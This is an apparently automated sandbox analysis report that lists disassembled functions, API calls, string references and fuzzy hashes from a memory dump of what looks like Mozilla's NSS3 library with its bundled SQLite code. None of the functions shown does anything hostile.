Part of subcall function 6C63FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C63FE08
Part of subcall function 6C63FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C63FE1D
Part of subcall function 6C63FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C63FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C5E7D8F,?,?), ref: 6C5E6DD5

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C708FA0,00000000,?,?,?,?,6C5E7D8F,?,?), ref: 6C5E6DF7

Part of subcall function 6C63B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7118D0,?), ref: 6C63B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C5E6E35

Part of subcall function 6C63FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C63FE29
Part of subcall function 6C63FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C63FE3D
Part of subcall function 6C63FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C63FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C5E6E4C

Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C708FE0,00000000), ref: 6C5E6E82

Part of subcall function 6C5E6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C5EB21D,00000000,00000000,6C5EB219,?,6C5E6BFB,00000000,?,00000000,00000000,?,?,?,6C5EB21D), ref: 6C5E6B01
Part of subcall function 6C5E6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C5E6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C5E6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C5E6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C708FE0,00000000), ref: 6C5E6F6B
PR_SetError.NSS3(FFFFE005,00000000,6C5E7D8F,?,?), ref: 6C5E6FE1

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: c8cc8c3231aeb2c93db803b74e68402152adaa4dc794520d964b5df5f427e4f8
Instruction ID: a4e3305c56fc887ac9bc3b29d9f16fe83aed4f13977500d051ff5d17321f09bd
Opcode Fuzzy Hash: c8cc8c3231aeb2c93db803b74e68402152adaa4dc794520d964b5df5f427e4f8
Instruction Fuzzy Hash: 5C71C171E1075A9FDB00CF14CD40BAABBA4BF99348F155229E918D7B11FB30EA94CB90

Function 6C620FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C621057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C621085
PK11_GetAllTokens.NSS3 ref: 6C6210B1
free.MOZGLUE(?), ref: 6C621107
PR_SetError.NSS3(00000000,00000000), ref: 6C621172
free.MOZGLUE(?), ref: 6C621182
free.MOZGLUE(?), ref: 6C6211A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C6211C5

Part of subcall function 6C6252C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C5FEAC5,00000001), ref: 6C6252DF
Part of subcall function 6C6252C0: EnterCriticalSection.KERNEL32(?), ref: 6C6252F3
Part of subcall function 6C6252C0: PR_Unlock.NSS3(?), ref: 6C625358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6211D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6211F3

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: dbbf545a1186139d6e33874b935ff81da41c688e29eef3a4582fa5f5b0010d5b
Instruction ID: 8f76f85823cc6a607bfbfb63bec8fbcd4ec29f03d5e070ba9ce82cb2a65d1e65
Opcode Fuzzy Hash: dbbf545a1186139d6e33874b935ff81da41c688e29eef3a4582fa5f5b0010d5b
Instruction Fuzzy Hash: 7961A2B0E083459BEB00DF64DC45BAAB7B5AF05348F144128EC19AB741EB36ED44CFA9

Function 6C62ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C60CDBB,?,6C60D079,00000000,00000001), ref: 6C62AE10
EnterCriticalSection.KERNEL32(?,?,6C60CDBB,?,6C60D079,00000000,00000001), ref: 6C62AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C60D079,00000000,00000001), ref: 6C62AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C60CDBB,?,6C60D079,00000000,00000001), ref: 6C62AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C60CDBB,?,6C60D079,00000000,00000001), ref: 6C62AE7F
TlsGetValue.KERNEL32(?,6C60CDBB,?,6C60D079,00000000,00000001), ref: 6C62AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C60CDBB,?,6C60D079,00000000,00000001), ref: 6C62AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C60CDBB,?,6C60D079,00000000,00000001), ref: 6C62AEF1
free.MOZGLUE(6C60CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C60CDBB,?), ref: 6C62AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C60CDBB,?,6C60D079,00000000,00000001), ref: 6C62AF30

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: f94037825940057bf7867297182d0a1b9762850624f710ad298d1214e430d1b9
Instruction ID: b44a745424e7dac6654d30f9f45bf30c5d0f96e025dbcb023bf345ff1a1b71ac
Opcode Fuzzy Hash: f94037825940057bf7867297182d0a1b9762850624f710ad298d1214e430d1b9
Instruction Fuzzy Hash: 5D51CDB1A00602EFDB10DF29D884A5AB7B0FF05319F044265E81897F12E779E865DFE9

Function 6C604CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C60AB7F,?,00000000,?), ref: 6C604CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C60AB7F,?,00000000,?), ref: 6C604CC8
TlsGetValue.KERNEL32(?,6C60AB7F,?,00000000,?), ref: 6C604CE0
EnterCriticalSection.KERNEL32(?,?,6C60AB7F,?,00000000,?), ref: 6C604CF4
PL_HashTableLookup.NSS3(?,?,?,6C60AB7F,?,00000000,?), ref: 6C604D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C604D10

Part of subcall function 6C68DD70: TlsGetValue.KERNEL32 ref: 6C68DD8C
Part of subcall function 6C68DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C68DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C604D26

Part of subcall function 6C6A9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C6F0A27), ref: 6C6A9DC6
Part of subcall function 6C6A9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C6F0A27), ref: 6C6A9DD1
Part of subcall function 6C6A9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6A9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C604D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C604DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C604E02

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 4c3ef2c2e05cb1a0934c41e74ca1fb3a2ba1975c59c85ae3407456d0eb92fafc
Instruction ID: a60e9550b66782c71f9cd72a27922922ee3ccce40e4e6b2dd74f4ae1fc39933c
Opcode Fuzzy Hash: 4c3ef2c2e05cb1a0934c41e74ca1fb3a2ba1975c59c85ae3407456d0eb92fafc
Instruction Fuzzy Hash: 664119B5A00601ABEB14AF28ED4096A77F8EF56309F044171EC1897712FB31DD14CBE6

Function 6C5EBFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5EBFFB

Part of subcall function 6C640FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5E87ED,00000800,6C5DEF74,00000000), ref: 6C641000
Part of subcall function 6C640FF0: PR_NewLock.NSS3(?,00000800,6C5DEF74,00000000), ref: 6C641016
Part of subcall function 6C640FF0: PL_InitArenaPool.NSS3(00000000,security,6C5E87ED,00000008,?,00000800,6C5DEF74,00000000), ref: 6C64102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C5EC015

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C5EC032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C5EC04D

Part of subcall function 6C6369E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C636A47
Part of subcall function 6C6369E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C636A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C5EC064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C5EC07B

Part of subcall function 6C5E8980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C5E7310), ref: 6C5E89B8
Part of subcall function 6C5E8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C5E7310), ref: 6C5E89E6
Part of subcall function 6C5E8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C5E8A00
Part of subcall function 6C5E8980: CERT_CopyRDN.NSS3(00000004,00000000,6C5E7310,?,?,00000004,?), ref: 6C5E8A1B
Part of subcall function 6C5E8980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C5E8A74

Part of subcall function 6C5E1D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C5EC097,00000000,000000B0,?), ref: 6C5E1D2C
Part of subcall function 6C5E1D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C5EC09B,00000000,00000000,00000000,?,6C5EC097,00000000,000000B0,?), ref: 6C5E1D3F
Part of subcall function 6C5E1D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C5EC087,00000000,000000B0,?), ref: 6C5E1D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C5EC0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C5EC0C9

Part of subcall function 6C5F2DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C5EC0D2,6C5EC0CE,00000000,-000000D4,?), ref: 6C5F2DF5
Part of subcall function 6C5F2DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C5EC0CE,00000000,-000000D4,?), ref: 6C5F2E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C5EC0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5EC0E3

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: e46b9f15a87e3e50db5821737cb50ac2150fb473459ff3e468391f3ec14360e9
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 722174F6A402056BFB005A61AC81FFF3A6C9B4675CF084035FD08DA647FB26E9198376

Function 6C5E2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C5E2CDA,?,00000000), ref: 6C5E2E1E

Part of subcall function 6C63FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C5E9003,?), ref: 6C63FD91
Part of subcall function 6C63FD80: PORT_Alloc_Util.NSS3(A4686C64,?), ref: 6C63FDA2
Part of subcall function 6C63FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C64,?,?), ref: 6C63FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C5E2E33

Part of subcall function 6C63FD80: free.MOZGLUE(00000000,?,?), ref: 6C63FDD1

TlsGetValue.KERNEL32 ref: 6C5E2E4E
EnterCriticalSection.KERNEL32(?), ref: 6C5E2E5E
PL_HashTableLookup.NSS3(?), ref: 6C5E2E71
PL_HashTableRemove.NSS3(?), ref: 6C5E2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C5E2E96
PR_Unlock.NSS3 ref: 6C5E2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5E2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5E2EC5

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 1a8eb11b9250428a57eb4b300738ba52767a78b54e5e4dafdec4d64de82302c3
Instruction ID: 0378218322d8dfccd866fea292eb76d840e720cc909d1f37f721720745d2b0c5
Opcode Fuzzy Hash: 1a8eb11b9250428a57eb4b300738ba52767a78b54e5e4dafdec4d64de82302c3
Instruction Fuzzy Hash: F0216E72E00211A7EF116B24EC49AAB3BB5DB8630EF054431ED1CD2721FB32D968C3A5

Function 6C5CFC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C5CFD18
sqlite3_initialize.NSS3 ref: 6C5CFD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5CFD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C5CFD99
sqlite3_free.NSS3(00000000), ref: 6C5CFE3C
sqlite3_free.NSS3(?), ref: 6C5CFEE3
sqlite3_free.NSS3(?), ref: 6C5CFEEE

Strings

simple, xrefs: 6C5CFC79

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 6e7e353c26739710da72bf616242abe6c26076b10020deadb53358a680c656d7
Instruction ID: dd916751d948d4c389f0bb4eedc92139d50b2d5f5279df6716785d5b03e84f9e
Opcode Fuzzy Hash: 6e7e353c26739710da72bf616242abe6c26076b10020deadb53358a680c656d7
Instruction Fuzzy Hash: 6B914EB4B012059FDB04CF95CC80AAAB7B1FF85318F25C66DD8199BB52D731E841CB91

Function 6C5D5CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C5D5EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5D5EED

Strings

%s at line %d of [%.10s], xrefs: 6C5D5EE0
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5D5ED1
misuse, xrefs: 6C5D5EDB
invalid, xrefs: 6C5D5EBE
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C5D5E64
API call with %s database connection pointer, xrefs: 6C5D5EC3

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 826c1aebec218b8ac8fa4fe8fc7e3aac0cbae0bd9bfbaec821baeeae4fc91d39
Instruction ID: 88780d400abad16b4d8b04653274fc0f43a51d77c41ef4aadfd3f52f287a8395
Opcode Fuzzy Hash: 826c1aebec218b8ac8fa4fe8fc7e3aac0cbae0bd9bfbaec821baeeae4fc91d39
Instruction Fuzzy Hash: EF81B1B0B057029BEB15EE1DCC48B697770FF41308F9A0669D8155BB51C730F942CBAA

Function 6C5BDCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5BDDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5BDE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5BDE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C5BDEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5BDF78

Strings

%s at line %d of [%.10s], xrefs: 6C5BDE61, 6C5BDE90
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5BDE52, 6C5BDE81
database corruption, xrefs: 6C5BDE5C, 6C5BDE8B

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 0a5b606b387d0c65197b61405d589d350d7a4a8357282fbf82a18a8f0adf5e70
Instruction ID: 2c58ca32f2c06be661302ddbfff13a8caa0b00601ce75844aa9e9f291ed11312
Opcode Fuzzy Hash: 0a5b606b387d0c65197b61405d589d350d7a4a8357282fbf82a18a8f0adf5e70
Instruction Fuzzy Hash: 0F81E1716083009FD714CF25CCA0B6A7BF1AF85308F14882DF99A9BB95E735E845CB92

Function 6C56CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C56B999), ref: 6C56CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C56B999), ref: 6C56D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C56B999), ref: 6C56D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C56B999), ref: 6C6B972B

Strings

%s at line %d of [%.10s], xrefs: 6C56CFEC, 6C56D018, 6C56D029, 6C56D03F, 6C6B978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C56CFDD, 6C56D00E, 6C56D022, 6C56D033, 6C6B9780
database corruption, xrefs: 6C56CFE7, 6C56D013, 6C56D028, 6C56D039, 6C56D03E, 6C6B9786

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

